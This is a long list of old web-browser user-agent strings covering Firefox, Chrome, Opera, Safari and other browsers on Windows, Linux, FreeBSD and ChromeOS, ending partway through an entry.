-Mozilla/5.0 (Windows; U; Windows NT 6.1; pt-BR; rv:1.9.2.13) Gecko/20101203 AskTbFXTV5/3.9.1.14019 Firefox/3.6.13 -Mozilla/5.0 (Windows; U; Windows NT 6.1; pt-BR; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 GTB7.1 -Mozilla/5.0 (Windows; U; Windows NT 6.1; pt-PT; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6 -Mozilla/5.0 (Windows; U; Windows NT 6.1; ro; rv:1.9.2.10) Gecko/20100914 Firefox/3.6.10 -Mozilla/5.0 (Windows; U; Windows NT 6.1; ru-RU) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.11 Safari/534.16 -Mozilla/5.0 (Windows; U; Windows NT 6.1; ru-RU; rv:1.9.2) Gecko/20100105 MRA 5.6 (build 03278) Firefox/3.6 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 -Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.4) Gecko/20100513 Firefox/3.6.4 -Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2b5) Gecko/20091204 Firefox/3.6b5 -Mozilla/5.0 (Windows; U; Windows NT 6.1; sl; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8 -Mozilla/5.0 (Windows; U; Windows NT 6.1; sv-SE; rv:1.9.2.13) Gecko/20101203 AskTbIMB/3.9.1.14019 Firefox/3.6.13 -Mozilla/5.0 (Windows; U; Windows NT 6.1; tr; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 GTB7.1 -Mozilla/5.0 (Windows; U; Windows NT 6.1; tr; rv:1.9.2.13) Gecko/20101203 AskTbCLM/3.9.1.14019 Firefox/3.6.13 -Mozilla/5.0 (Windows; U; Windows NT 6.1; uk; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 -Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12 ( .NET CLR 3.5.30729; .NET4.0E) -Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 -Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-HK) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5 -Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-TW) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 -Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-TW; rv:1.9.2.13) Gecko/20101203 AskTbPTV/3.9.1.14019 Firefox/3.6.13 -Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-TW; rv:1.9.2.4) Gecko/20100611 Firefox/3.6.4 ( .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; Windows NT 5.1; en-US; rv:1.9.2a1pre) Gecko/20090402 Firefox/3.6a1pre -Mozilla/5.0 (Windows; Windows NT 5.1; es-ES; rv:1.9.2a1pre) Gecko/20090402 Firefox/3.6a1pre -Mozilla/5.0 (X11; CrOS i686 0.13.507) AppleWebKit/534.35 (KHTML, like Gecko) Chrome/13.0.763.0 Safari/534.35 -Mozilla/5.0 (X11; CrOS i686 0.13.587) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.14 Safari/535.1 -Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.23 (KHTML, like Gecko) Chrome/11.0.686.3 Safari/534.23 -Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.14 Safari/534.24 -Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.24 (KHTML, like Gecko) Ubuntu/10.10 Chromium/12.0.702.0 Chrome/12.0.702.0 Safari/534.24 -Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.100 Safari/534.30 -Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.30 (KHTML, like Gecko) Slackware/Chrome/12.0.742.100 Safari/534.30 -Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.35 (KHTML, like Gecko) Ubuntu/10.10 Chromium/13.0.764.0 Chrome/13.0.764.0 Safari/534.35 -Mozilla/5.0 (X11; Linux i686; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.23 -Mozilla/5.0 (X11; Linux i686; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.51 -Mozilla/5.0 (X11; Linux i686; rv:2.0b3pre) Gecko/20100731 Firefox/4.0b3pre -Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.3 Safari/534.24 -Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.34 Safari/534.24 -Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.24 (KHTML, like Gecko) Ubuntu/10.04 Chromium/11.0.696.0 Chrome/11.0.696.0 Safari/534.24 -Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.24 (KHTML, like Gecko) Ubuntu/10.10 Chromium/12.0.703.0 Chrome/12.0.703.0 Safari/534.24 -Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.36 (KHTML, like Gecko) Chrome/13.0.766.0 Safari/534.36 -Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.20 Safari/535.1 -Mozilla/5.0 (X11; Linux x86_64; U; de; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.62 -Mozilla/5.0 (X11; Linux x86_64; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.60 -Mozilla/5.0 (X11; Linux x86_64; rv:2.0b4) Gecko/20100818 Firefox/4.0b4 -Mozilla/5.0 (X11; U; CrOS i686 0.9.128; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.339 -Mozilla/5.0 (X11; U; CrOS i686 0.9.128; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.339 Safari/534.10 -Mozilla/5.0 (X11; U; CrOS i686 0.9.128; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.341 Safari/534.10 -Mozilla/5.0 (X11; U; CrOS i686 0.9.128; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.343 Safari/534.10 -Mozilla/5.0 (X11; U; CrOS i686 0.9.130; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.344 Safari/534.10 -Mozilla/5.0 (X11; U; DragonFly i386; de; rv:1.9.1) Gecko/20090720 Firefox/3.5.1 -Mozilla/5.0 (X11; U; DragonFly i386; de; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2 -Mozilla/5.0 (X11; U; FreeBSD i386; de-CH; rv:1.9.2.8) Gecko/20100729 Firefox/3.6.8 -Mozilla/5.0 (X11; U; FreeBSD i386; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.207.0 Safari/532.0 -Mozilla/5.0 (X11; U; FreeBSD i386; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 -Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.8) Gecko/20050609 Firefox/1.0.4 -Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.9.0.10) Gecko/20090624 Firefox/3.5 -Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.9.1) Gecko/20090703 Firefox/3.5 -Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.9.2.9) Gecko/20100913 Firefox/3.6.9 -Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.9a2) Gecko/20080530 Firefox/3.0a2 -Mozilla/5.0 (X11; U; FreeBSD i386; ja-JP; rv:1.9.1.8) Gecko/20100305 Firefox/3.5.8 -Mozilla/5.0 (X11; U; FreeBSD i386; ru-RU; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3 -Mozilla/5.0 (X11; U; FreeBSD x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 -Mozilla/5.0 (X11; U; Linux armv7l; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 -Mozilla/5.0 (X11; U; Linux i586; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.1 Safari/533.2 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); de; rv:1.9.1) Gecko/20090624 Firefox/3.5 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); de; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/530.7 (KHTML, like Gecko) Chrome/2.0.175.0 Safari/530.7 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.196.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.197.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.198.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.198.1 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.2 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.8 Safari/532.2 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/534.12 (KHTML, like Gecko) Chrome/9.0.576.0 Safari/534.12 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.634.0 Safari/534.16 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.9b2) Gecko/2007121016 Firefox/3.0b2 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); fr; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 -Mozilla/5.0 (X11; U; Linux i686; ca; rv:1.9.1.6) Gecko/20091215 Ubuntu/9.10 (karmic) Firefox/3.5.6 -Mozilla/5.0 (X11; U; Linux i686; ca; rv:1.9.2.13) Gecko/20101206 Ubuntu/10.04 (lucid) Firefox/3.6.13 -Mozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.7.12) Gecko/20050929 -Mozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.9.0.16) Gecko/2009121601 Ubuntu/9.04 (jaunty) Firefox/3.0.16 -Mozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.9.1.6) Gecko/20100107 Fedora/3.5.6-1.fc12 Firefox/3.5.6 -Mozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.9.2.13) Gecko/20101206 Ubuntu/10.04 (lucid) Firefox/3.6.13 -Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.9.2.8) Gecko/20100725 Gentoo Firefox/3.6.8 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.10) Gecko/2009042523 Ubuntu/9.04 (jaunty) Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.11) Gecko/2009062218 Gentoo Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.12) Gecko/2009070811 Ubuntu/9.04 (jaunty) Firefox/3.0.12 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.12) Gecko/2009070812 Ubuntu/8.04 (hardy) Firefox/3.0.12 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.13) Gecko/2009080315 Ubuntu/9.04 (jaunty) Firefox/3.0.13 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.14) Gecko/2009082505 Red Hat/3.0.14-1.el5_4 Firefox/3.0.14 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.14) Gecko/2009090216 Ubuntu/9.04 (jaunty) Firefox/3.0.14 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.18) Gecko/2010020400 SUSE/3.0.18-0.1.1 Firefox/3.0.18 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.18) Gecko/2010021501 Firefox/3.0.18 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.9) Gecko/2009041500 SUSE/3.0.9-2.2 Firefox/3.0.9 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.9) Gecko/2009042113 Ubuntu/8.04 (hardy) Firefox/3.0.9 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.9) Gecko/2009042113 Ubuntu/8.10 (intrepid) Firefox/3.0.9 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.9) Gecko/2009042113 Ubuntu/9.04 (jaunty) Firefox/3.0.9 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1) Gecko/20090624 Firefox/3.5 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1) Gecko/20090624 Ubuntu/8.04 (hardy) Firefox/3.5 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1.1) Gecko/20090714 SUSE/3.5.1-1.1 Firefox/3.5.1 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1.1) Gecko/20090722 Gentoo Firefox/3.5.1 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1.6) Gecko/20091201 SUSE/3.5.6-1.1.1 Firefox/3.5.6 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1.6) Gecko/20091215 Ubuntu/9.10 (karmic) Firefox/3.5.6 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1.6) Gecko/20091215 Ubuntu/9.10 (karmic) Firefox/3.5.6 GTB7.0 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1.8) Gecko/20100214 Ubuntu/9.10 (karmic) Firefox/3.5.8 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.10) Gecko/20100914 SUSE/3.6.10-0.3.1 Firefox/3.6.10 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.10) Gecko/20100915 Ubuntu/10.04 (lucid) Firefox/3.6.10 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.10) Gecko/20100915 Ubuntu/9.10 (karmic) Firefox/3.6.10 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.12) Gecko/20101027 Fedora/3.6.12-1.fc13 Firefox/3.6.12 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.3) Gecko/20100423 Ubuntu/10.04 (lucid) Firefox/3.6.3 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9b5) Gecko/2008041514 Firefox/3.0b5 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9b5) Gecko/2008050509 Firefox/3.0b5 -Mozilla/5.0 (X11; U; Linux i686; en-CA; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.10) Gecko/2009042513 Ubuntu/8.04 (hardy) Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.10) Gecko/2009042523 Ubuntu/8.10 (intrepid) Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.11) Gecko/2009060214 Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11 GTB5 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.11) Gecko/2009060309 Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.13) Gecko/2009080316 Ubuntu/8.04 (hardy) Firefox/3.0.13 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.18) Gecko/2010021501 Ubuntu/9.04 (jaunty) Firefox/3.0.18 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.19) Gecko/2010040118 Ubuntu/8.10 (intrepid) Firefox/3.0.19 GTB7.1 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.1.15) Gecko/20101027 Fedora/3.5.15-1.fc12 Firefox/3.5.15 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 GTB5 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.1.6) Gecko/20091215 Ubuntu/9.10 (karmic) Firefox/3.5.6 GTB6 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.2.11) Gecko/20101013 Ubuntu/10.10 (maverick) Firefox/3.6.10 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.2.12) Gecko/20101027 Ubuntu/10.10 (maverick) Firefox/3.6.12 GTB7.1 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9b5) Gecko/2008041514 Firefox/3.0b5 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/531.4 (KHTML, like Gecko) Chrome/3.0.194.0 Safari/531.4 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.1 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.196.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.197.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.197.11 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.198.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.198.1 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.2 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.2 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.205.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.1 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.207.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.209.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.2 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.212.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.212.0 Safari/532.1 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.0 Safari/532.1 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.1 Safari/532.1 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.0 Safari/532.2 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.8 Safari/532.2 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.2 Safari/532.2 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.3 Safari/532.2 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.4 Safari/532.2 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.5 Safari/532.2 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.6 Safari/532.2 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.8 Safari/532.2 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.1 Safari/532.2 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.2 Safari/532.2 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.4 (KHTML, like Gecko) Chrome/4.0.237.0 Safari/532.4 Debian -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.8 (KHTML, like Gecko) Chrome/4.0.277.0 Safari/532.8 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.358.0 Safari/533.3 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.366.2 Safari/533.4 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/6.0.416.0 Safari/534.1 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.1 SUSE/6.0.428.0 (KHTML, like Gecko) Chrome/6.0.428.0 Safari/534.1 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.551.0 Safari/534.10 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.12 (KHTML, like Gecko) Chrome/9.0.579.0 Safari/534.12 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.44 Safari/534.13 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Ubuntu/9.10 Chromium/9.0.592.0 Chrome/9.0.592.0 Safari/534.13 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.15 (KHTML, like Gecko) Chrome/10.0.612.1 Safari/534.15 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.15 (KHTML, like Gecko) Ubuntu/10.04 Chromium/10.0.612.3 Chrome/10.0.612.3 Safari/534.15 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.15 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.611.0 Chrome/10.0.611.0 Safari/534.15 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.15 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.613.0 Chrome/10.0.613.0 Safari/534.15 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.648.0 Chrome/10.0.648.0 Safari/534.16 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.648.133 Chrome/10.0.648.133 Safari/534.16 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.2 (KHTML, like Gecko) Chrome/6.0.453.1 Safari/534.2 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.457.0 Safari/534.3 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.458.0 Safari/534.3 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.460.0 Safari/534.3 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.462.0 Safari/534.3 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.24 Safari/534.7 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13) Gecko/20060501 Epiphany/2.14 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050511 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.9) Gecko/20050711 Firefox/1.0.5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.5) Gecko/20060626 (Debian-1.8.0.5-3) Epiphany/2.14 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.6) Gecko/20060808 Fedora/1.5.0.6-2.fc5 Firefox/1.5.0.6 pango-text -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060910 SeaMonkey/1.0.5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060928 (Debian-1.8.0.7-1) Epiphany/2.14 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20061022 Iceweasel/1.5.0.7-g2 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20061031 Firefox/1.5.0.7 Flock/0.7.7 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.8) Gecko/20061029 SeaMonkey/1.0.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1) Gecko/20060601 Firefox/2.0 (Ubuntu-edgy) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1) Gecko/20061024 Iceweasel/2.0 (Debian-2.0+dfsg-1) -Mozilla/5.0 (X11; U; Linux 